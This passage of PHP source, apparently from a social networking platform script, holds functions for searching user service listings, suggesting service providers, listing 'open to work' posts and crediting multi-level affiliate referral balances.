$user_id)->where('subscriber_id', $wo['user']['id'])->getValue(T_PATREON_SUBSCRIBERS, 'COUNT(*)'); if ($is_subscribed > 0) { return true; } } else { return true; } return false; } function Wo_GetSearchServices($query = '') { global $wo, $sqlConnect, $db; $data = array(); if (empty($query)) { return array(); } $query = Wo_Secure($query); $sql = "(`services` LIKE '%$query%' OR `description` LIKE '%$query%' OR `job_location` LIKE '%$query%')"; $services = $db->where($sql)->where('type', 'service')->get(T_USER_OPEN_TO); if (!empty($services)) { foreach ($services as $key => $value) { $data[$value->user_id] = Wo_UserData($value->user_id); } return $data; } return array(); } function Wo_UserSugServices($limit = 20) { global $wo, $sqlConnect, $db; if (!is_numeric($limit)) { return false; } $data = array(); $user_id = Wo_Secure($wo['user']['user_id']); $query_one = " SELECT `user_id` FROM " . T_USERS . " WHERE `active` = '1' AND `user_id` NOT IN (SELECT `blocked` FROM " . T_BLOCKS . " WHERE `blocker` = '{$user_id}') AND `user_id` NOT IN (SELECT `blocker` FROM " . T_BLOCKS . " WHERE `blocked` = '{$user_id}') AND `user_id` NOT IN (SELECT `following_id` FROM " . T_FOLLOWERS . " WHERE `follower_id` = {$user_id}) AND `user_id` IN (SELECT `user_id` FROM " . T_USER_OPEN_TO . " WHERE `type` = 'service') AND `user_id` <> {$user_id}"; if (isset($limit)) { $query_one .= " ORDER BY RAND() LIMIT {$limit}"; } $sql = mysqli_query($sqlConnect, $query_one); if (mysqli_num_rows($sql)) { while ($fetched_data = mysqli_fetch_assoc($sql)) { $user = Wo_UserData($fetched_data['user_id']); if (!empty($user['providing_service']) && !empty($user['providing_service']->services)) { $data[] = $user; } } } return $data; } function Wo_GetOpenToWorkPosts($limit = 10, $offset = 0) { global $wo, $sqlConnect, $db; if ($wo['config']['website_mode'] != 'linkedin') { return array(); } if ($wo['loggedin'] == false) { return array(); } $data = array(); $user_id = Wo_Secure($wo['user']['user_id']); $query_one = " SELECT `id` FROM " . T_POSTS . " WHERE `active` = '1' AND `postPrivacy` = '5' AND `user_id` NOT IN (SELECT `blocked` FROM " . T_BLOCKS . " WHERE `blocker` = '{$user_id}') AND `user_id` NOT IN (SELECT `blocker` FROM " . T_BLOCKS . " WHERE `blocked` = '{$user_id}') "; if (!empty($offset) && is_numeric($offset) && $offset > 0) { $offset = Wo_Secure($offset); $query_one .= " AND `id` < '{$offset}'"; } if (!empty($limit) && is_numeric($limit) && $limit > 0) { $limit = Wo_Secure($limit); $query_one .= " ORDER BY `id` DESC LIMIT {$limit}"; } $sql = mysqli_query($sqlConnect, $query_one); if (mysqli_num_rows($sql)) { while ($fetched_data = mysqli_fetch_assoc($sql)) { $post = Wo_PostData($fetched_data['id']); if (!empty($post)) { $data[] = $post; } } } return $data; } function AddNewRef($ref_id, $user_id, $amount) { global $wo, $sqlConnect, $db; if (empty($ref_id) || !is_numeric($ref_id) || empty($user_id) || !is_numeric($user_id) || empty($amount) || !is_numeric($amount)) { return false; } if ($wo['config']['affiliate_level'] < 2) { return false; } $user_id = Wo_Secure($user_id); $ref_id = Wo_Secure($ref_id); $amount = Wo_Secure($amount); $pre_user = 0; $parents = array(); for ($i = 0; $i < $wo['config']['affiliate_level']; $i++) { $user = $db->where('user_id', $ref_id)->getOne(T_USERS, array( 'referrer', 'ref_level' )); $ref_level = array(); $update_array = array(); if (empty($user->ref_level)) { $ref_level = array( $user_id => array() ); if ($i == 0) { //$update_array['balance'] = $db->inc($amount); } $update_array['ref_level'] = json_encode($ref_level); $db->where('user_id', $ref_id)->update(T_USERS, $update_array); } else { $ref_level = json_decode($user->ref_level, true); if ($i == 0) { //$update_array['balance'] = $db->inc($amount); $ref_level[$user_id] = array(); } $update_array['ref_level'] = json_encode($ref_level); $db->where('user_id', $ref_id)->update(T_USERS, $update_array); } if (!empty($user->referrer)) { if (!in_array($ref_id, $parents)) { $parents[] = $ref_id; } $pre_user_data = $db->where('user_id', $user->referrer)->getOne(T_USERS, array( 'ref_level' )); $pre_ref_level = json_decode($pre_user_data->ref_level, true); $pre_ref_level[$ref_id] = $ref_level; $db->where('user_id', $user->referrer)->update(T_USERS, array( 'ref_level' => json_encode($pre_ref_level) )); $ref_id = $user->referrer; } else { if (!in_array($ref_id, $parents)) { $parents[] = $ref_id; } break; } } if (!empty($parents)) { foreach ($parents as $key => $value) { $u_amount = ($amount / ($key + 1)); $db->where('user_id', $value)->update(T_USERS, array( 'balance' => $db->inc($u_amount) )); //unset($parents[$key]); } } }